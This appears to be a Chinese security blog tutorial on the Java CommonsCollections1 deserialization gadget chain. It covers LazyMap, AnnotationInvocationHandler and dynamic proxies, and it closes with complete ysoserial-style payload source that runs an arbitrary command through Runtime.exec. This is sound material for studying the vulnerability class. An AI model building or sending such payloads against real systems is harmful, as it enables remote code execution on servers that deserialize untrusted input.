上篇提到了CC0.5 使用的是TransformedMap,但是如果阅读ysoserial的源码会发现,CommonCollections1并没有用到TransformedMap,而是LazyMap。
LazyMap是什么
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap
是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform
。其实这也好理解,LazyMap的作用是“懒加载”,在get找不到值的时候,它会调factory.transform
方法去获取一个值:
// LazyMap.get():
public Object get(Object key) {
if (!super.map.containsKey(key)) {
// 这个factory就是一个Transformer
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
看LazyMap的源码可以看到,一般是调用static decorate 方法,传入一个Transformer或者Transformer的factory,初始化一个LazyMap对象并返回:
这样就得到了一个LazyMap对象,只要调用这个对象的get方法,传入一个不存在的键,就会调用TransformerChain完成命令执行。
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,因为在sun.reflect.annotation.AnnotationInvocationHandler
的readObject方法中并没有直接调用到Map的get方法。
所以ysoserial用了另一个路线,AnnotationInvocationHandler类的invoke方法,调用了get:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
// get调用点
Object var6 = this.memberValues.get(var4);
// get调用点
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
思路变成了 AnnotationInvocationHandler#invoke -> LazyMap#get -> TransformChain -> runtime.exec 下面一个问题就是如何在反序列化的过程中调用到AnnotationInvocationHandler.invoke。ysoserial使用的是Java的代理
Java动态代理
一定要理解Java动态代理在干什么,调用流程是什么。
代理的目的是增强被代理类的功能,但是实际使用的过程中也可以不去调用原来的方法,就实现了类似hook。
动态代理类必须要实现InvocationHandler接口的invoke方法
这个过程会用到java.lang.reflect.Proxy,主要是newProxyInstance和getProxyClass方法,一个是实例化一个新代理对象,返回实例,第二个是获取代理对象的java.lang.Class对象。
关键的一行代码,实例化一个代理类:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
三个参数,第一个是ClassLoader,第二个是需要代理的对象合集(接口列表),第三个是InvocationHandler接口的对象,里面包含具体的逻辑代码,包括要操作的对象(在实例化时传入),增强的方法,和原来的方法调用(method.invoke())
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map){
this.map = map;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//判断如果函数名是get,就返回一个Hacked Object
if (method.getName().compareTo("get") == 0){
System.out.println("Hook method: +" + method.getName());
return "Hacked Object";
}
//否则正常调用函数
return method.invoke(this.map, args);
}
}
实例化调用,运行可以发现,虽然Map中放入的hello值为world,但是获取到的结果是hacked Object
:
public class App {
public static void main(String[] args) {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap.put("hello", "world");
String result = (String)proxyMap.get("hello");
System.out.println(result);
}
}
组合
通过名字也可以看出,AnnotationInvocationHandler本身就是一个InvocationHandler接口的实现类,我们用Proxy对这个对象进行代理,在readObject的时候,只要调用我们用LazyMap.decorate
初始化的Map的任意方法,都会执行到AnnotationInvocationHandler#invoke,触发LazyMap#get。
有了CC0的基础,直接修改代码。首先用LazyMap替换TransformerMap,
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
CC0直接把AnnotationInvocationHandler对象序列化了, 这里我们要对这个对象进行代理
// handle 是绑定了outermap的AnnotationInvocationHandler
InvocationHandler handle = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handle);
返回的是一个Map,无法直接序列化,我们的入口还是AnnotationInvocationHandler,因此要再封装一层:
InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(Retention.class, proxymap);
把handler2序列化发送,即可触发。总的顺序:
初始化恶意transformerChain -> 绑定到一个Map -> Map绑定到AnnotationInvocationHandler -> 对AnnotationInvocationHandler进行代理得到Map2 -> Map2再绑定到AnnotationInvocationHandler2 ->序列化发送
ysoserial的其他操作
yaoserial在返回对象前,还有一个步骤:
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
反射修改transformerChain的iTransformers值为恶意的transformers,也就是在最后一步前才把恶意的transformers设置好。
原因是在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。
总结
这部分分析了LazyMap的作用,构造了poc,但是LazyMap仍然无法解决决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。因此这两个利用链实际上可使用的范围基本相似。在更高版本上需要使用其他的Gadget。
完整代码:
package qtyso.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import qtyso.payloads.annotation.Authors;
import qtyso.payloads.annotation.Dependencies;
import qtyso.payloads.annotation.PayloadTest;
import qtyso.payloads.util.Gadgets;
import qtyso.payloads.util.JavaVersion;
import qtyso.payloads.util.PayloadRunner;
import qtyso.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
参考链接
https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class